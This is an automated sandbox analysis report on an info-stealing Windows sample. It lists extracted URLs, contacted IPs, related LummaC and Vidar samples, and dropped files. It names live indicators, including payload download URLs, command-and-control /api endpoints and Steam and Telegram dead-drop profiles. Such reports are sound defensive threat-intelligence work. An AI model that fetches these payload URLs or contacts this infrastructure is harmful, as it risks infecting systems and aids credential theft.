https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com/2	MSBuild.exe, 00000006.00000002.2444036075.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.org_DEBUG.zip/c	file.exe, 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://proxy.johnmccrea.com//softokn3.dll2	MSBuild.exe, 00000001.00000002.2755563230.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe	MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/)	MSBuild.exe, 00000006.00000002.2444036075.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2444097166.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	ECBGIE.1.dr	false		unknown
http://cowod.hopto.org/8yG&:	MSBuild.exe, 00000001.00000002.2755563230.00000000010E9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.	MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	AKEBFC.1.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	ECFHCG.1.dr	false	URL Reputation: safe	unknown
http://proxy.johnmccrea.com/gfdsgrewgdsfadsahttps://steamcommunity.com/profiles/76561199780418869u55	file.exe, 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp	true		unknown
http://cowod.hopto	MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://clearancek.site:443/api	MSBuild.exe, 00000006.00000002.2443823992.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=AeTz	MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/legal/	MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2444097166.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	MSBuild.exe, 00000001.00000002.2755563230.00000000010E9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2755563230.000000000103A000.00000004.00000020.00020000.00000000.sdmp, ECBGIE.1.dr	false		unknown
http://jask.powerforxes.shop/ldms/a43486128347.exe1kkkkoken	MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://www.sqlite.org/copyright.html.	MSBuild.exe, 00000001.00000002.2759657660.00000000178EA000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763699895.000000001D88D000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.1.dr	false	URL Reputation: safe	unknown
http://cowod.AKJDHJKFIEBG	MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://licendfilteo.site:443/api	MSBuild.exe, 00000006.00000002.2443823992.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://t.me/ae5ed	file.exe, file.exe, 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://www.mozilla.com/en-US/blocklist/	MSBuild.exe, MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	false		unknown
http://cowod.hopto.org/ly3&a	MSBuild.exe, 00000001.00000002.2755563230.00000000010E9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://mozilla.org0/	MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	MSBuild.exe, 00000001.00000002.2755563230.00000000010E9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2755563230.000000000103A000.00000004.00000020.00020000.00000000.sdmp, ECBGIE.1.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	ECFHCG.1.dr	false		unknown
https://steamcommunity.com/d	MSBuild.exe, 00000006.00000002.2443823992.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://store.steampowered.com/privacy_agreement/	MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2444097166.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com:443/profiles/76561199724331900	MSBuild.exe, 00000006.00000002.2443823992.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/api(	MSBuild.exe, 00000006.00000002.2444036075.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	ECFHCG.1.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	MSBuild.exe, 00000001.00000002.2755563230.00000000010E9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2755563230.000000000103A000.00000004.00000020.00020000.00000000.sdmp, ECBGIE.1.dr	false		unknown
http://cowod.hopto.orgHDA	MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2759480099.00000000175EA000.00000004.00000020.00020000.00000000.sdmp, AKEBFC.1.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe	MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	ECFHCG.1.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199724331900/inventory/	MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	HIJJDG.1.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Ev2sBLgkgyWJ&a	MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	ECFHCG.1.dr	false	URL Reputation: safe	unknown
https://sergei-esenin.com:443/api	MSBuild.exe, 00000006.00000002.2443823992.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.hoptoJKFIEBG	MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=10oP_O2R	MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	MSBuild.exe, 00000001.00000002.2755563230.00000000010E9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2755563230.000000000103A000.00000004.00000020.00020000.00000000.sdmp, ECBGIE.1.dr	false	URL Reputation: safe	unknown
http://jask.powerforxes.shop/ldms/a43486128347.exerm-data;	MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://spirittunek.store:443/api	MSBuild.exe, 00000006.00000002.2443823992.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.orgc6c89df3cnt-Disposition:	MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://store.steampowered.com/account/cookiepreferences/	MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2444097166.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org	HIJJDG.1.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	AKEBFC.1.dr	false	URL Reputation: safe	unknown
https://t.me/ae5edu55uhttps://steamcommunity.com/profiles/76561199780418869sql.dllsqlp.dllMozilla/5.	file.exe, 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	ECFHCG.1.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199724331900/badges	MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
141.98.233.156	proxy.johnmccrea.com	Russian Federation	41011	CH-NET-ASRO	true
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
147.45.44.104	jask.powerforxes.shop	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
45.132.206.251	cowod.hopto.org	Russian Federation	59731	LIFELINK-ASRU	true
172.67.206.204	sergei-esenin.com	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1527394
Start date and time:	2024-10-06 22:31:18 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@12/28@17/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 104 Number of non-executed functions: 207
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 93.184.221.240, 131.107.255.255, 192.229.221.95, 13.85.23.206, 13.95.31.18
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, wu.ec.azureedge.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, wu.azureedge.net, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, azureedge-t-prod.trafficmanager.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
16:33:06	API Interceptor	4x Sleep call for process: MSBuild.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
141.98.233.156	cmBxQ7gA5a.exe	Get hash	malicious	Vidar	Browse	proxy.johnmccrea.com/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	proxy.johnmccrea.com/
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	proxy.johnmccrea.com/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	proxy.johnmccrea.com/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	proxy.johnmccrea.com/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	proxy.johnmccrea.com/
	d1bc91bd44a0.exe	Get hash	malicious	PrivateLoader, Stealc, Vidar	Browse	proxy.johnmccrea.com/
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	proxy.johnmccrea.com/
	file.exe	Get hash	malicious	Vidar	Browse	proxy.johnmccrea.com/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	proxy.johnmccrea.com/
104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm
147.45.44.104	cmBxQ7gA5a.exe	Get hash	malicious	Vidar	Browse	jask.powerforxes.shop/ldms/a43486128347.exe
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	jask.powerforxes.shop/ldms/a43486128347.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	jask.powerforxes.shop/ldms/a43486128347.exe
	f2e7fcb20146.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	jask.powerforxes.shop/ldms/a43486128347.exe
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	jask.powerforxes.shop/ldms/a43486128347.exe
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	jask.powerforxes.shop/ldms/a43486128347.exe
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	jask.powerforxes.shop/ldms/a43486128347.exe
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	jask.powerforxes.shop/ldms/a43486128347.exe
	d1bc91bd44a0.exe	Get hash	malicious	PrivateLoader, Stealc, Vidar	Browse	jask.powerforxes.shop/ldms/7f3c2473d1e6.exe#sp_vid
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	jask.powerforxes.shop/ldms/a43486128347.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
jask.powerforxes.shop	cmBxQ7gA5a.exe	Get hash	malicious	Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	f2e7fcb20146.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	d1bc91bd44a0.exe	Get hash	malicious	PrivateLoader, Stealc, Vidar	Browse	147.45.44.104
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
s-part-0017.t-0009.t-msedge.net	Pvh6OAKuBe.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://revsolsavenue.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	http://gauravchauhan25.github.io/Netflix-Clone	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	http://netzerosystem00.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	http://rajdeep-006.github.io/Netflix-Clone	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	http://kashishoza.github.io/Netflix-Clone	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	http://sarathsureshc.github.io/Netflix-clone	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	http://mr-zkpak47.github.io/Netflix_Front_Page	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	na.hta	Get hash	malicious	Cobalt Strike, Snake Keylogger	Browse	13.107.246.45
	http://kartike1103.github.io/Netflix	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
cowod.hopto.org	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
steamcommunity.com	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	fASbbWNgm1.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	A6QFRW2WiY.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Setup.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, MicroClip	Browse	104.102.49.254
	msvcp110.dll	Get hash	malicious	LummaC	Browse	104.102.49.254
	Launch.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CH-NET-ASRO	cmBxQ7gA5a.exe	Get hash	malicious	Vidar	Browse	141.98.233.156
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	141.98.233.156
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	141.98.233.156
	bomb.exe	Get hash	malicious	Amadey, Go Injector, LummaC Stealer, Phorpiex, PureLog Stealer, Stealc, Vidar	Browse	141.98.233.156
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	141.98.233.156
	Document-19-36-27.js	Get hash	malicious	Unknown	Browse	141.98.234.114
	meliwe_gown_x64.dll.dll	Get hash	malicious	Unknown	Browse	141.98.234.114
	Document-19-36-27.js	Get hash	malicious	Unknown	Browse	141.98.234.114
	Document-19-29-20.js	Get hash	malicious	Unknown	Browse	141.98.234.114
	meliwe_gown_x64.dll.dll	Get hash	malicious	Unknown	Browse	141.98.234.114
FREE-NET-ASFREEnetEU	cmBxQ7gA5a.exe	Get hash	malicious	Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	https://steamcommunrutty.com/gift/actlvation=Mor85Fhn6w4	Get hash	malicious	Unknown	Browse	147.45.47.205
	f2e7fcb20146.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	81zBpBAWwc.exe	Get hash	malicious	RHADAMANTHYS	Browse	147.45.126.71
	bomb.exe	Get hash	malicious	Amadey, Go Injector, LummaC Stealer, Phorpiex, PureLog Stealer, Stealc, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
LIFELINK-ASRU	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	bomb.exe	Get hash	malicious	Amadey, Go Injector, LummaC Stealer, Phorpiex, PureLog Stealer, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
AKAMAI-ASUS	na.elf	Get hash	malicious	Mirai, Okiru	Browse	23.3.160.8
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	172.228.195.231
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	96.25.164.184
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	96.25.164.148
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	fASbbWNgm1.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	A6QFRW2WiY.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	na.elf	Get hash	malicious	Mirai	Browse	104.119.246.31
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	na.elf	Get hash	malicious	Mirai	Browse	184.29.182.72

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	http://revexhibition.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	http://milumuduli.github.io/netflix-template	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	http://revsolsavenue.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	http://duttweilerangel6891-sidebarg165895-flarew256.pages.dev/help/contact/656749019228815	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	http://m4xnk.github.io/netflix-clone-by-m4xnk	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	http://gauravchauhan25.github.io/Netflix-Clone	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	http://hasnat22.github.io/Netflix-Clone	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	http://netzerosystem00.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	http://rajdeep-006.github.io/Netflix-Clone	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	http://hassan6077224.github.io/netflixclonetechtitans	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	fASbbWNgm1.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	A6QFRW2WiY.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	http://directcoverbet.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	wu5C20dPdy.exe	Get hash	malicious	SmokeLoader	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	https://lynwoodgrove.com/Comerica/file/prohqcker1.php	Get hash	malicious	Unknown	Browse	104.102.49.254 172.67.206.204
	Setup.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, MicroClip	Browse	104.102.49.254 172.67.206.204

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	cmBxQ7gA5a.exe	Get hash	malicious	Vidar	Browse
	vmgon5Zqja.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	f2e7fcb20146.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse
	ScreenUpdateSync.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\IIEBAFCBKFID\AKEBFC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIEBAFCBKFID\BKECBA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
